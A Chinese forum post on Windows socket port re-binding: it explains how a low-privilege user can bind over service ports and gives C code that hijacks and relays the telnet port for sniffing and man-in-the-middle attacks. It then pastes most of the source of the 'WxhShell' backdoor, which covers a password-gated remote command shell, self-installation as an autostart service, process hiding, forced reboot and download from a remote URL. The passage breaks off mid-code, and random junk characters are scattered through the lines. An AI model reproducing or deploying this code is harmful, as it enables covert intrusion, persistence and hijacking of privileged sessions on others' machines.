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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /JP%gD"8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l;;"v) C8  
P# Z+:T  
  saddr.sin_family = AF_INET; cbX  <  
KMV&c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j"P}Wn  
4Mj cx.21  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -[5yp 2F-{  
g; ZVoD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m<:g\_<  
J|WkPv2  
  这意味着什么?意味着可以进行如下的攻击: ~5_>$7L>  
}& e#b]&:*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (d=knoo7A  
t1]sv VX,w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?Ns aZ  
uhr&P4EW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t|k-Bh:x  
rqi|8gKY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9$N~OZ;-*x  
?_G?SQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qMmhmH)Gp  
zVtNT@1K>u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tc)4$"9)  
VrZ6m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?\T):o;/  
?h|w7/9  
  #include gn4 Sz")  
  #include 2S_7!|j  
  #include VaFv%%w  
  #include    H=>;M j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xx=c'j<  
  int main() :|E-Dx4F6H  
  { X!/  
  WORD wVersionRequested; aQ.mvuMa7'  
  DWORD ret; Qj/.x#T  
  WSADATA wsaData; 0HS"Oxx'  
  BOOL val; c *]6>50  
  SOCKADDR_IN saddr; sT%^W  
  SOCKADDR_IN scaddr; a*KJjl?k  
  int err; Kx5VR4f`J@  
  SOCKET s; p#fV|2'  
  SOCKET sc; K6; sxF  
  int caddsize; ; Uf]-uS  
  HANDLE mt; g{$F;qbkO  
  DWORD tid;   #~@Cl9[)D  
  wVersionRequested = MAKEWORD( 2, 2 ); tGh!5EZ6`  
  err = WSAStartup( wVersionRequested, &wsaData ); HCVMqG!  
  if ( err != 0 ) { Qo \;)  
  printf("error!WSAStartup failed!\n"); 3/?{= {  
  return -1; $56Z/*  
  } 'hH3d"a^=  
  saddr.sin_family = AF_INET; 9..! g:  
   Umt?COc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4?cIn4}  
bG[)r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N\WEp?%~  
  saddr.sin_port = htons(23); j`$d W H/2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zXx)xIO  
  { m%G:|`f7  
  printf("error!socket failed!\n"); _^"0"<,  
  return -1; uS,XQy2  
  } VsMTzGr  
  val = TRUE; ]2o?Gnn@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lQnqPQY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pz@wbu=($4  
  { n{v[mqm^  
  printf("error!setsockopt failed!\n"); dAj;g9N/h  
  return -1; 1 n<7YO7}  
  } Y)]x1I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6 P6Pl&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *#2]`G)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;/]v mgl2  
WT9 k85hqj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )=c/{  
  { VOK0)O>&  
  ret=GetLastError(); n%Gk {h5  
  printf("error!bind failed!\n"); i*g>j <`  
  return -1; 1'>wrGr  
  }  b"C1  
  listen(s,2); ?#rejA:  
  while(1) mU3 @|a/@0  
  { ct#3*]  
  caddsize = sizeof(scaddr); LU7d\Ch  
  //接受连接请求 z7'C;I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1'{A,!  
  if(sc!=INVALID_SOCKET) *D$[@-7  
  { 9 EqU 2~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1:r8p6  
  if(mt==NULL) P7`sJ("#  
  { kX)Xo`^Ys  
  printf("Thread Creat Failed!\n"); 2PrUI;J$  
  break; .W)%*~ O!;  
  } |X$O'Gf#n  
  } 5bKm)|4z6  
  CloseHandle(mt); bF X0UE>  
  } r#CQCq  
  closesocket(s); K~B@8az  
  WSACleanup(); I"<ACM  
  return 0; -*I Dzm  
  }   Z} Ld!Byz  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9e*v&A2Y'  
  { O0VbKW0h3  
  SOCKET ss = (SOCKET)lpParam; 3"ii_#1  
  SOCKET sc; } JePEmj  
  unsigned char buf[4096]; (s2ke  
  SOCKADDR_IN saddr; c0%.GcF0{  
  long num; W%bzA11l  
  DWORD val; ClvqI"Rd  
  DWORD ret; L)`SNN\ipR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wZ_k]{J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QC+K:jL  
  saddr.sin_family = AF_INET;  ;Iu}Q-b*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,J3s1 ]~^  
  saddr.sin_port = htons(23); Rt^~db  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @1UC9}>  
  { ~Kr_[X:d5  
  printf("error!socket failed!\n"); e0ea2 2  
  return -1; 7"c^$fj  
  } x&SG gl  
  val = 100; !leLOi2T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'nO%1BZj+  
  { oju}0h'1  
  ret = GetLastError(); RZ#~^5DiO  
  return -1; 3+j!{tJ z2  
  } a$r<%a6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L(bYG0ZI5C  
  { 2# y!(D8  
  ret = GetLastError(); V"T48~Ue  
  return -1; j(|9>J*,~G  
  } I#m0n%-[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  XAb!hc   
  { !\ckUMZ\  
  printf("error!socket connect failed!\n"); ^-yEb\\i  
  closesocket(sc); 6ofi8( n[  
  closesocket(ss); tXgsWG?v[H  
  return -1; 0+]ol:i  
  } K~ 6[zJ4  
  while(1) <lBY  
  { TC%ENxDR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %xq/eC7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {xzs{)9|Y4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yp}a&Dg  
  num = recv(ss,buf,4096,0); BmP!/i_  
  if(num>0) EqV]/0-\  
  send(sc,buf,num,0); v7ShXX:  
  else if(num==0) QX]~|?q  
  break; M+akD  
  num = recv(sc,buf,4096,0); l^B PTg)X@  
  if(num>0) {|;5P.,l  
  send(ss,buf,num,0); ,W!v0*uxp&  
  else if(num==0) <ETR6r  
  break; d0Jaa1b~O  
  } SGuLL+|W#8  
  closesocket(ss); f""+jc1  
  closesocket(sc); cM= ? {W7~  
  return 0 ; U{+<c [  
  } /i${[1  
p%8v+9+h2  
?'@tx4#v\2  
========================================================== d1"%sI  
3j]P\T  
下边附上一个代码,,WXhSHELL e B$ S d  
xTy[X"sJ  
========================================================== yMQZulCWE  
xzqgem`[\  
#include "stdafx.h" \,b@^W6e>  
X~`<ik{q  
#include <stdio.h> *Z+8L*k97  
#include <string.h> jI-\~  
#include <windows.h> PW[NW-S`c  
#include <winsock2.h> `H_.<``>  
#include <winsvc.h> vU X(h.}8  
#include <urlmon.h> \ nIz5J}3  
LZ97nvK  
#pragma comment (lib, "Ws2_32.lib") b*7:{ FXg  
#pragma comment (lib, "urlmon.lib") .fQ/a`AsU  
I(cy<ey+e  
#define MAX_USER   100 // 最大客户端连接数 o]#M8)=  
#define BUF_SOCK   200 // sock buffer XpFo SW#K  
#define KEY_BUFF   255 // 输入 buffer OJkiTs{  
HH\6gs]u  
#define REBOOT     0   // 重启 b?p_mQKtZ  
#define SHUTDOWN   1   // 关机 f^tCD'Vmi  
IwE{Zvr  
#define DEF_PORT   5000 // 监听端口 <0Mc\wy  
V8aLPJ0_  
#define REG_LEN     16   // 注册表键长度 ((2 g  
#define SVC_LEN     80   // NT服务名长度 NaR/IsN8%  
2W}f|\8MX  
// 从dll定义API 3M;[.b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FXHcy:)}G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C;u8qVI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,r&:C48 dI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Eagl7'x  
"I)*W8wTn  
// wxhshell配置信息 dKOW5\H'  
struct WSCFG { [ _jd  
  int ws_port;         // 监听端口 8f^QO:  
  char ws_passstr[REG_LEN]; // 口令 (d L;A0L  
  int ws_autoins;       // 安装标记, 1=yes 0=no 63J_u-o  
  char ws_regname[REG_LEN]; // 注册表键名 XzX-Q'i=n0  
  char ws_svcname[REG_LEN]; // 服务名 O[N}@%HMW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *bl*R';  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k,~I>qg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HF3W,eaqK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b V)mO@N~w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xHA6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b"au9:F4@7  
w4:  
}; -|?I'~[#(  
4oY<O  
// default Wxhshell configuration .=j]PckJO  
struct WSCFG wscfg={DEF_PORT, y%y F34  
    "xuhuanlingzhe", JAjXhk<=  
    1, 986y\9Zu  
    "Wxhshell", P4M*vZq)  
    "Wxhshell", 3$.R=MQ7  
            "WxhShell Service", D[m+= -  
    "Wrsky Windows CmdShell Service", P,$|.p d'  
    "Please Input Your Password: ", k *a?Ey$  
  1, {Hv/|.),hu  
  "http://www.wrsky.com/wxhshell.exe", M@G <I]\  
  "Wxhshell.exe" ^yO+-A2zC  
    }; h)W?8XdM  
Fp)+>o T  
// 消息定义模块 [hLSK-K 9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BCw5.@HK*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x1gfo!BN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -QUr|:SK:  
char *msg_ws_ext="\n\rExit."; ,qx;kJJ  
char *msg_ws_end="\n\rQuit."; B,@<60u  
char *msg_ws_boot="\n\rReboot..."; _TB,2 R  
char *msg_ws_poff="\n\rShutdown..."; ;*3OkNxa3  
char *msg_ws_down="\n\rSave to "; l5> H\  
`)9nBZ  
char *msg_ws_err="\n\rErr!"; 4K_fN  
char *msg_ws_ok="\n\rOK!"; tWs ]Zd  
IfGmA.O  
char ExeFile[MAX_PATH]; 6#,VnS)`q  
int nUser = 0; l3d^V&Sk  
HANDLE handles[MAX_USER]; `}b#O}z)^  
int OsIsNt; 5 A/[x $q  
,rvw E  
SERVICE_STATUS       serviceStatus; %gF; A*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l!U_7)s/  
b(hnouS  
// 函数声明 X~aD\%kC7  
int Install(void); [d( @lbV0  
int Uninstall(void); ZyJdz+L{@V  
int DownloadFile(char *sURL, SOCKET wsh); IZ<d~ [y  
int Boot(int flag); 9t 3mU:  
void HideProc(void); 7^{M:kYC!  
int GetOsVer(void); $6W o$c%  
int Wxhshell(SOCKET wsl); Ueq*R(9>  
void TalkWithClient(void *cs); 6ty>0  
int CmdShell(SOCKET sock); Jj<UtD+  
int StartFromService(void); oKl^Ttr  
int StartWxhshell(LPSTR lpCmdLine); TRQ@=.  
[ n[!RddY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QB<9Be@e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3GH@|id  
wVI 1sR  
// 数据结构和表定义 =hs !t|(*  
SERVICE_TABLE_ENTRY DispatchTable[] = mSn>  
{ `Qf$]Eoft  
{wscfg.ws_svcname, NTServiceMain}, "bO\Wt#Mf  
{NULL, NULL} y^7ol;t  
}; {Vc%ga|E  
C%s+o0b  
// 自我安装 uF xrv  
int Install(void) :Hk:Goo2  
{ /H_,1Fu|  
  char svExeFile[MAX_PATH]; ~16QdwK  
  HKEY key; kC =e>v  
  strcpy(svExeFile,ExeFile); byj}36LN62  
JGP<'6"L$  
// 如果是win9x系统,修改注册表设为自启动 9uV'# sR  
if(!OsIsNt) { +- ~:E_G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #WBlEVx;Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2OXcP!\Y  
  RegCloseKey(key); @a AR99M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'A0.(a5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k4|9'V&1*6  
  RegCloseKey(key); vqq7IV)|  
  return 0; 6mP s;I  
    } kB|j N~  
  } a[<'%S#3x  
} XIM!]  
else { 5XSr K  
L*k[Vc  
// 如果是NT以上系统,安装为系统服务 zEG6T*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e:SBX/\j  
if (schSCManager!=0) [dG&"%5vD  
{ H%,jB<-.A  
  SC_HANDLE schService = CreateService w2-:!,X  
  ( <ptgFR+  
  schSCManager, j2V"w&>b}  
  wscfg.ws_svcname, gy|L!_1Z8  
  wscfg.ws_svcdisp, ^;";fr Vw  
  SERVICE_ALL_ACCESS, 4)L(41h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nXgnlb=  
  SERVICE_AUTO_START, Vy]y73~  
  SERVICE_ERROR_NORMAL, +T*=JHOD  
  svExeFile, pwg$% lv  
  NULL, X?,ly3,  
  NULL, VO _! +  
  NULL, 2V6=F[T  
  NULL, c/l%:!A  
  NULL axJuJ`+Y  
  ); =oZHN,  
  if (schService!=0) 8@Zg@>,  
  { K>=KsG  
  CloseServiceHandle(schService); ?F{sym@i  
  CloseServiceHandle(schSCManager); hlY]s &0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lu.D,oP  
  strcat(svExeFile,wscfg.ws_svcname); CqMm'6;$a}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Fkm7ME]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l^.d 3b  
  RegCloseKey(key); g@IV|C( *0  
  return 0;  1 &24:&  
    } n#jBqr&!M  
  } Tr}z&efY  
  CloseServiceHandle(schSCManager); lHRs3+  
} grvm2`u  
} (G:A^z  
Gm,vLs9H$T  
return 1; I r8,=  
} .hBq1p  
G?:{9. (  
// 自我卸载 Yt]tRqrh;T  
int Uninstall(void) BMubN   
{ ~%SmH [i  
  HKEY key; RCXm< /  
L-B"P&  
if(!OsIsNt) { cT2&nZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q5[x2 s_d  
  RegDeleteValue(key,wscfg.ws_regname); O$Wi=5  
  RegCloseKey(key); 1u?h4w C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IM.sW'E  
  RegDeleteValue(key,wscfg.ws_regname); nkI+"$Rz0  
  RegCloseKey(key); _n6ge*,E  
  return 0; 8Ld`$_E  
  }  HaJs)j  
} 9Fo00"q  
} L1'PQV  
else { ;^XF;zpg  
12 8aJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H1?t2\V4  
if (schSCManager!=0) [v@3|@  
{ SM57bN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hv)>HU&  
  if (schService!=0) t>hoXn^-  
  { 5yOIwzr&Uu  
  if(DeleteService(schService)!=0) { eAU0 8gM.  
  CloseServiceHandle(schService); to2; . ~X  
  CloseServiceHandle(schSCManager); r] h>Bb  
  return 0; '}4z=f`}  
  } mS\ gh)<h  
  CloseServiceHandle(schService); LtIR)EtB]  
  } jL9g.q4^  
  CloseServiceHandle(schSCManager); o#"U8N%r  
} KCBA`N8  
} L/ L#[  
z7vc|Z|  
return 1; 5j8aMnvs  
} / .wO<l=  
AnF"+<  
// 从指定url下载文件 pUc N-WA  
int DownloadFile(char *sURL, SOCKET wsh) BiFU3FlTf  
{ (/mR p  
  HRESULT hr; m:6^yfS  
char seps[]= "/"; 1X8P v*,  
char *token; y4\(ynk  
char *file; JfOBZQ  
char myURL[MAX_PATH]; a&^HvXO(>(  
char myFILE[MAX_PATH]; *B4?(&0  
'E\/H17  
strcpy(myURL,sURL); .Us)YVbk  
  token=strtok(myURL,seps); HZINsIm!?  
  while(token!=NULL) -_*ux!  
  { 7 KuUV!\h`  
    file=token; ~FP4JM,y6  
  token=strtok(NULL,seps); X!aC6gujOH  
  } @AB}r1E2  
CpE LLA<  
GetCurrentDirectory(MAX_PATH,myFILE); (DLk+N4UHA  
strcat(myFILE, "\\"); Abw=x4d(i  
strcat(myFILE, file); V 4#bW  
  send(wsh,myFILE,strlen(myFILE),0); G '1K6  
send(wsh,"...",3,0); 3_DwqZ 'O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8O[br@h:5  
  if(hr==S_OK) Ci-CY/]s  
return 0; A#o ~nC<  
else zIzL7oD  
return 1; Y)O88C  
ugu|?z*dI  
} k)3b0T@b  
2_/H,  
// 系统电源模块 lXT+OJF  
int Boot(int flag) >z'T"R/  
{ [QwBSq8)  
  HANDLE hToken; ;L*Ku'6Mt  
  TOKEN_PRIVILEGES tkp; +$uQ_ve  
>Ut4INV  
  if(OsIsNt) { )%+7"7.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /f*QxNZ,p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U/#X,Bi~  
    tkp.PrivilegeCount = 1; wsKOafrV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Dt* ++:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o8 B$6w:_  
if(flag==REBOOT) { 'bQjJRq!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 67tB8X  
  return 0; h5o6G1ur  
} ~D0e \Q(A  
else { 5!s7`w]8*0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Al MMN"j  
  return 0; _:1s7EC  
} tLE7s_^  
  } ` t6|09e  
  else { A{ a4;`}5  
if(flag==REBOOT) { .)g7s? K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fa0NHX2:  
  return 0; mgd)wZNV  
} !'z"V_x~  
else { 6M#}&Gv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l!*!)qCB(S  
  return 0; : GdLr  
} 9Ro7xSeD  
} 9 df GV!Z  
Q,LDn%+;B*  
return 1; ;u?L>(b  
} A4tb>O M  
oazY?E]}3  
// win9x进程隐藏模块 'Q dDXw5o  
void HideProc(void) ii5dTimRJ  
{ B9: i.rQ  
0woLB#v9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uj~(r=%  
  if ( hKernel != NULL ) ~]Weyb[ N  
  { V r7L9%/wg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I_s*pT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4n0Iw  I  
    FreeLibrary(hKernel); Krd0Gc~\|  
  } +zg3/C4 S  
wZg~k\_lF  
return; {00Qg{;K|  
} 8zO;=R A7%  
Kgw, ]E&7  
// 获取操作系统版本 vn x+1T  
int GetOsVer(void) M\A6;dz'  
{ `]I p`_{  
  OSVERSIONINFO winfo; _[pbf ua  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ew )1O9f  
  GetVersionEx(&winfo); *5KDu$'(e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rd;^ fBx  
  return 1; 'j9x(T1M1  
  else u#+Is4Vh  
  return 0; s^"*]9B"  
} zXW)v/ ZD  
&a'mh  
// 客户端句柄模块 j" 5 +"j  
int Wxhshell(SOCKET wsl) 1wy?<B.f  
{ ~,Kx"VK  
  SOCKET wsh; cB6LJ}R  
  struct sockaddr_in client; $EnBigb!  
  DWORD myID; pS~=T}o  
2AXf'IOqE  
  while(nUser<MAX_USER) ':7gYP*v  
{ Y~B-dx'V  
  int nSize=sizeof(client); d$HPpi1LL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ATF>"Ux  
  if(wsh==INVALID_SOCKET) return 1; w\1K.j=>|N  
LO;6g~(1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xz-?sD/xe  
if(handles[nUser]==0) Sg< B+u\\  
  closesocket(wsh); ^4C djMF-E  
else f2 ?01PM,Q  
  nUser++; &9EcgazV  
  } 2-%9k)KH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wW, n~W  
tfdb9# &?  
  return 0; r-AD*h@QZ  
} y[';@t7CC  
0"l`M5-KP  
// 关闭 socket h,ipQ>  
void CloseIt(SOCKET wsh) &<EixDi4q  
{ &&7&/   
closesocket(wsh); 07G'"=  
nUser--; r<[G~n  
ExitThread(0); hf:\^w  
} T*%O\&'r  
v+~O\v5Q  
// 客户端请求句柄 =J`M}BBx  
void TalkWithClient(void *cs) `h~-  
{ *{(tg~2'(  
bAEwjZ  
  SOCKET wsh=(SOCKET)cs; [JEf P/n|.  
  char pwd[SVC_LEN]; AEd9H +I  
  char cmd[KEY_BUFF]; M7=|N:/_  
char chr[1]; nP0rg  
int i,j; +t8#rT ^B  
A3.*d:A  
  while (nUser < MAX_USER) { n^Q-K}!T/  
O jH"qi  
if(wscfg.ws_passstr) { s;#,c(   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S])*LUi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t{e}3}LEd  
  //ZeroMemory(pwd,KEY_BUFF); ujr"_ofI  
      i=0; t4UL|fI  
  while(i<SVC_LEN) { \s6 VOR/  
*-&+;|mM  
  // 设置超时 L]E.TvM1*  
  fd_set FdRead; oxug  
  struct timeval TimeOut; L|p+;ex  
  FD_ZERO(&FdRead); EUby QL  
  FD_SET(wsh,&FdRead); eMtQa;Lc9o  
  TimeOut.tv_sec=8; #i=m%>zjN  
  TimeOut.tv_usec=0; i)(-Ad_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HfEl TC:3f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =vsvx{o?  
a>&dAo}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r` sG!  
  pwd=chr[0]; XHm6K1mGZ  
  if(chr[0]==0xd || chr[0]==0xa) { De\Ocxx  
  pwd=0; kBtzJ#j B  
  break; Q"K`~QF"  
  } Fr#QM0--B  
  i++; 1sq1{|NW~  
    } #&Rx?V  
Pk&$ #J_  
  // 如果是非法用户,关闭 socket jEm =A8q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); juQ?k xOB  
} yJdkDVxYr  
h*?]A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fs2y$HN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w& )ApfL  
4veXg/l  
while(1) { L0*f(H  
++BQ==@  
  ZeroMemory(cmd,KEY_BUFF); 2p~G][  
@2sr/gX^  
      // 自动支持客户端 telnet标准   71Y3.1+  
  j=0; _ Gkb[H&RZ  
  while(j<KEY_BUFF) { U.1&'U*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %>1C ($^  
  cmd[j]=chr[0]; 4JL]?75  
  if(chr[0]==0xa || chr[0]==0xd) { *t`=1Ioj  
  cmd[j]=0; k/i&e~! \  
  break; xu@+b~C\  
  } vBV_aB1{  
  j++; Ah;`0Hz;  
    } X.AE>fx*h  
hLaQ[9  
  // 下载文件 F#z1 sl'  
  if(strstr(cmd,"http://")) { U%)*I~9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [j?<&^SW  
  if(DownloadFile(cmd,wsh)) lt%9Zgr[u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ctR ^"'u  
  else 7)BK&kpVr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c1<jY~U  
  } 1cV0TUrz  
  else { Y]Zp[!  
UPkc-^BN  
    switch(cmd[0]) { |21*p#>  
  s qO$ka{  
  // 帮助 ,vB nr_D#  
  case '?': { :M.]-+(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v V>=Uvm  
    break; I=;=;-  
  } JykNEMB#  
  // 安装 < Q6  
  case 'i': { b<BkI""b  
    if(Install()) GD4+f|1.*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8COGe=+o  
    else >[<f\BN|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o`nJJ:Cxq-  
    break; ]3 76F7  
    } X]s="^  
  // 卸载 :` S\p[5  
  case 'r': { 1_> w|6;e  
    if(Uninstall()) 7|<-rjz^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o),@I#fM  
    else X(Lz&fkd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N`LY$U+N|  
    break; ooj^Z%9P  
    } 0e j*0"Mq  
  // 显示 wxhshell 所在路径 =- !B4G$  
  case 'p': { !*}E  
    char svExeFile[MAX_PATH]; >[g.8'hI  
    strcpy(svExeFile,"\n\r"); nX<yB9bXDg  
      strcat(svExeFile,ExeFile); {?X9juc/#  
        send(wsh,svExeFile,strlen(svExeFile),0); ew,g'$drD  
    break; T!|-dYYI  
    } P%ZU+ET  
  // 重启 W7w*VD|  
  case 'b': { _ 3{8Zg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V5+|H1=  
    if(Boot(REBOOT)) fwSI"cfM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RA}Y$}^#'  
    else { `rpmh7*WV  
    closesocket(wsh); alyA#zao|  
    ExitThread(0); &&Otj-n5  
    } ki8Jl}dr  
    break; /p)y!5e  
